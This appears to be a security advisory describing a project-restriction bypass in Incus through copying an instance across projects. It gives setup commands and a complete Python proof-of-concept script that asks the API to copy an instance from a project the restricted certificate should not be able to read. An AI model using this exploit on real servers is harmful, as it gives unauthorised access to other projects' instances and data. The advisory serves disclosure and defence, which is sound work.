Incus has a project restriction bypass in instance copy across projects

 1# create a new project and instance
 2incus project create secrets
 3incus profile show default | incus --project secrets edit default
 4incus --project secrets init images:debian/trixie secret
 5 
 6# restrict an existing certificate to prevent access to the project
 7incus config trust edit cert-fp
 8#> set, for example
 9restricted: true
10projects:
11  - default
12 
13# verification, with the restricted certificate
14incus ls remote:

 1python3 poc.py --url https://IP-REMOTE:8443 \
 2    --cert path/to/client.crt --key path/to/client.key \
 3    --target-project default --source-project secrets \
 4    --source-instance secret --name copy-secret --insecure

 1#!/usr/bin/env python3
 2"""Copy an instance from a project the caller should not be able to read."""
 3 
 4from __future__ import annotations
 5 
 6import argparse
 7import json
 8import ssl
 9import sys
10import urllib.error
11import urllib.parse
12import urllib.request
13 
14 
15def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
16    ctx = ssl.create_default_context()
17    if insecure:
18        ctx.check_hostname = False
19        ctx.verify_mode = ssl.CERT_NONE
20    ctx.load_cert_chain(cert, key)
21 
22    req = urllib.request.Request(
23        url.rstrip("/") + path,
24        data=json.dumps(body).encode(),
25        method="POST",
26        headers={"Content-Type": "application/json", "Accept": "application/json"},
27    )
28    try:
29        with urllib.request.urlopen(req, context=ctx) as resp:
30            return resp.read()
31    except urllib.error.HTTPError as exc:
32        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
33        raise
34 
35 
36def main() -> int:
37    ap = argparse.ArgumentParser()
38    ap.add_argument("--url", required=True)
39    ap.add_argument("--cert", required=True)
40    ap.add_argument("--key", required=True)
41    ap.add_argument("--target-project", required=True)
42    ap.add_argument("--source-project", required=True)
43    ap.add_argument("--source-instance", required=True)
44    ap.add_argument("--name", required=True, help="new instance name in target project")
45    ap.add_argument("--instance-only", action="store_true")
46    ap.add_argument("--start", action="store_true")
47    ap.add_argument("--insecure", action="store_true")
48    ap.add_argument("--dry-run", action="store_true")
49    args = ap.parse_args()
50 
51    body = {
52        "name": args.name,
53        "source": {
54            "type": "copy",
55            "source": args.source_instance,
56            "project": args.source_project,
57            "instance_only": args.instance_only,
58        },
59        "start": args.start,
60    }
61    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
62    print(json.dumps(body, indent=2))
63    if args.dry_run:
64        return 0
65    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
66    return 0
67 
68 
69if __name__ == "__main__":
70    raise SystemExit(main())